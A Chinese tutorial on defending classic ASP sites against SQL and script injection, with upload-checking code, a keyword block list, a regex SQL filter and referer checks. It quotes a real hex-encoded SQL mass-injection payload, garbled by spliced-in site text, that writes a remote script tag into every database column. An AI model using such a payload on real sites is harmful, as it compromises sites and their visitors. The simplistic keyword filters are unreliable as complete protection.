Jquery中文网 www.jquerycn.cn
Jquery中文网 >  脚本编程  >  Asp  >  正文 asp防止js或sql注入的方法详解

asp防止js或sql注入的方法详解

发布时间:2014-07-20   编辑:www.jquerycn.cn
本文介绍下,在asp编程中,有效防止sql或js注入的方法,有需要的朋友作个参考吧。

一般在被sql或js注入后,会考虑替换相关内容:
在sql查询分析器,执行批量替换js代码:
 

复制代码 代码示例:
update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','')
 

分析网站安全问题:
1,网站存在上传漏洞;
虽然,上传文件需要管理员身份验证,也对上传文件进行了文件格式的认证,但管理员身份验证采用了cookies,而cookies是可以被伪造的,而且如
果上传了图片后,不对该文件的内容采取任何判断的话,那么图片木马也很有可能被上传。

解决方法:
1 删除上传文件功能(不太实际);
2 修改上传用户验证为session验证;
3 对上传后的文件内容进行验证,如果是图片木马,则删除;可以参考以下的验证代码:
 

复制代码 代码示例:
''==判断上传文件是否含非法字符串start==
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '读取文本文件
sTextAll = lcase(MyText.ReadAll)
MyText.close
set MyFile = nothing
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|acti
vexobject|language="
sNoString = split(sStr,"|")
for i=0 to ubound(sNoString)
  if instr(sTextAll,sNoString(i)) then
    set filedel = server.CreateObject("Scripting.FileSystemObject")
    filedel.deletefile Server.mappath(filePath)
    set filedel = nothing
    Response.Write("<script>alert('您上传的文件有问题,上传失败!');history.back();</script>")
    Response.End
  end if
next
''==判断上传文件是否含非法字符串end==

2,网站存在cookies注入漏洞。
所有用户登陆后采用cookies验证,这个cookies里保存了用户的 ID 和 NAME ,而众所周知
,cookies是经常被黑客伪造的,这是其一;
另外,某些外部参数 没有采用严格的 request.form 和 request.querystring 来获取内容,为了简便,采用了 request("id")这样的方式。

ASP 的request 是先从form、querystring里获取内容,如果这两个为空,则要从cookies里获取内容,大家往往在程序设计中考虑到了 request.form 和
request.querystring 的SQL注入,所以一般都会过滤 request.form 和 request.querystring进行sql注入;但却偏偏忘了过滤cookies方式下的注入。我们来看下下面这样
的sql语句:
 

复制代码 代码示例:
SQL="select * from 表名 where id="&request("id")

如果这个 id 恰巧是通过cookies来获取值的,那么想想,这是一件多么可怕的事啊!注入者可以轻松的伪造一个名为 id 的虚假 cookies ,因为这个 id 的cookies 是服务
器分配给客户端的。这个cookies可以被伪造成类似下面这样的一段代码:
 

dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 jquery中文网(http://www.jquerycn.cn) 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);--
 

这是利用HEX的方式进行SQL注入,可以绕过一般的IDS验证,只要系统存在SQL注入,上面的代码将会被执行,通过游标遍历数据库中的所有表和列并在列中插入js代码。

解决办法:
1 严格过滤 request.form 和 request.querystring 获取的内容,坚决不用 request("name") 这样的方式获取值,凡是采用 cookies 保存的内容,尽量不要用在sql语句里
进行查询数据库操作;
2 重要的用户资料尽量采用 session 验证,因为session是服务器端的,客户端无法伪造数据,除非他有你服务器的权限。

可以采用以下的防范 get 、post以及cookies 注入的代码来过滤 sql 注入攻击:
 

复制代码 代码示例:
<%
Response.Buffer = True  '缓存页面
'防范get注入
If Request.QueryString <> ""  Then StopInjection(Request.QueryString)
'防范post注入
If Request.Form <> ""  Then StopInjection(Request.Form)
'防范cookies注入
If Request.Cookies <> ""  Then StopInjection(Request.Cookies)
'正则子函数
Function StopInjection(Values)
Dim regEx
Set regEx = New RegExp
    regEx.IgnoreCase = True
    regEx.Global = True
    regEx.Pattern =
    "'|;|#|([\s\b+()]+([email=select%7Cupdate%7Cinsert%7Cdelete%7Cdeclare%7C@%7Cexec%7Cdbcc%7Calter%7Cdrop%7Ccreate%7Cbackup%7Cif%7Celse%7Cend%7Cand%7Co
    r%7Cadd%7Cset%7Copen%7Cclose%7Cuse%7Cbegin%7Cretun%7Cas%7Cgo%7Cexists)[/s/b]select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup
    |if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b[/email]+]*)"
    Dim sItem, sValue
    For Each sItem In Values
        sValue = Values(sItem)
        If regEx.Test(sValue) Then
            Response.Write "<Script Language=javascript>alert('非法注入!你的行为已被记录!!');history.back(-1);</Script>"
            Response.End
        End If
    Next
    Set regEx = Nothing
End function
%>
 

把以上的代码另存为一个文件,如 antisql.asp ,然后在数据库连接文件开头包含这个文件 <!--#include file="antisql.asp"--> ,就可以实现全站的防范 sql 注入的攻
击了。

3,严格过滤外部提交数据。判断提交页面的来源,如果不是当前站点,则拒绝提交。可以参考以下的代码,虽然来源网址可以伪造,但有这样的判断,毕竟可以阻挡那些没
有技术含量的恶意提交:
 

复制代码 代码示例:
<%
''判断来源,禁止外部提交
dim server_v1,server_v2
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if server_v1="" or instr(server_v1,"发表页面名")<=0 or mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<SCRIPT language=JavaScript>alert('来源非法,禁止外部提交!');"
response.write "this.location.href='vbscript:history.back()';</SCRIPT>"
response.end
end if
%>

4,做好服务器权限的分配。
对于数据库的权限,尽量分配最小的权限给用户使用,
如果把sa或管理员的权限分下来,后果严重啊。
sql server的1433端口,建议不用时,最好关闭。

您可能感兴趣的文章:
asp防止js或sql注入的方法详解
ASP SQL防注入的方法
js实现防止表单重复提交的代码
asp脚本超时问题分析与解决方法
php防止sql注入正则过滤一例
php防止SQL注入的函数
有关php中sql注入与XSS攻击的相关介绍
asp.net如何防范SQL注入式攻击
php实现sql防止注入的几种方法
分享discuz的php防止sql注入函数

[关闭]